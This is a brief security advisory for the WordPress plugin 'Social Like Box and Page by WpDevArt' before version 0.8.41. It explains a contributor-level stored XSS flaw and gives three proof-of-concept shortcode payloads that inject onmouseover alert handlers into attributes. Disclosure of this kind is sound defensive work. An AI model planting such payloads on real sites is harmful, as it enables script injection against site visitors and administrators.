Social Like Box and Page by WpDevArt < 0.8.41 - Contributor+ Stored XSS

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

[wpdevart_like_box height='" onmouseover="alert(/XSS-1/)"']

[wpdevart_like_box border_color='" onmouseover="alert(/XSS-2/)//']

[wpdevart_like_box locale='" onmouseover="alert(/XSS-3/)//']